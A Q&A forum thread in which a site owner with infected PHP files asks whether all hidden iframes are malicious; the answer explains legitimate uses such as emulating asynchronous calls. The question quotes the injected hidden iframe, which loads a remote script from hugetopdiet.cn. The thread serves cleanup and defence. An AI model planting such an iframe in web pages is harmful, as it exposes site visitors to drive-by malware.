Is there any legit use for hidden iframe? I’ve got viruses as per Can a file be read and written right back with small changes without knowing its encoding in C#? which are all over the php files (it seems one entry per file but can’t be sure with 5000 files).
The ones I found have this but I can’t be sure there are others with something a bit different inside. Could I assume all iframe where visibility is hidden are malicious?
<iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>
Or maybe there’s other way I could tell my c# code to look at it? I don’t want to break the files and websites but I can’t just look for exact value as I may miss something.
A hidden
IFRAMEcan certainly be useful for malicious purposes, but it can be used legitimately. For example, you could use a hiddenIFRAMEto emulate asynchronous calls to the server (ASP.Net did this at one point, if I recall).I have also used
IFRAMEsto get around file upload control limitations (both hidden and visibleIFRAMEscan be useful for this).Suspicious, but not malicious by default.